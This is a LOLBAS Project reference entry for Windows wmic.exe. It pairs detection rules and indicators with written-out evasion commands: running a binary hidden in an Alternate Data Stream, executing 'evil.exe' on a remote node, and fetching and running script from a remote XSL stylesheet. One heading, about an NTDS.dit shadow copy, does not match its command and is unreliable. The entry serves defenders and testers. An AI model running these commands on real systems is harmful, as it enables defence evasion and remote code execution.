.. /Wmic.exe

Alternate data streams | Execute (WSH) | Copy

The WMI command-line (WMIC) utility provides a command-line interface for WMI

Paths:
C:\Windows\System32\wbem\wmic.exe
C:\Windows\SysWOW64\wbem\wmic.exe

Resources:
- https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
- https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
- https://twitter.com/subTee/status/986234811944648707

Acknowledgements:
- Casey Smith (@subtee)
- Avihay Eldad (@AvihayEldad)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml
- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_suspicious_wmi_script.toml
- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
- Splunk: https://github.com/splunk/security_content/blob/961a81d4a5cb5c5febec4894d6d812497171a85c/detections/endpoint/xsl_script_execution_with_wmic.yml

- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_wmi_command_attempt.yml
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/remote_process_instantiation_via_wmi.yml
- Splunk: https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/detections/endpoint/process_execution_via_wmi.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: Wmic retrieving scripts from remote system/Internet location
- IOC: DotNet CLR libraries loaded into wmic.exe
- IOC: DotNet CLR Usage Log - wmic.exe.log
- IOC: wmiprvse.exe writing files

Alternate data streams

Execute a .EXE file stored as an Alternate Data Stream (ADS)

```
wmic.exe process call create "c:\ads\file.txt:program.exe"
```

Use case: Execute binary file hidden in Alternate data streams to evade defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004

Execute

. Execute calc from wmic

```
wmic.exe process call create calc
```

Use case: Execute binary from wmic to evade defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218

. Execute evil.exe on the remote system.

```
wmic.exe /node:"192.168.0.1" process call create "evil.exe"
```

Use case: Execute binary on a remote system

Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218

. Create a volume shadow copy of NTDS.dit that can be copied.

```
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
```

Use case: Execute binary on remote system
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218

. Executes JScript or VBScript embedded in the target remote XSL stylsheet.

```
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
```

Use case: Execute script from remote system
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1218
Tags: Execute: WSH

Copy

Copy file from source to destination.

```
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"
```

Use case: Copy file.
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105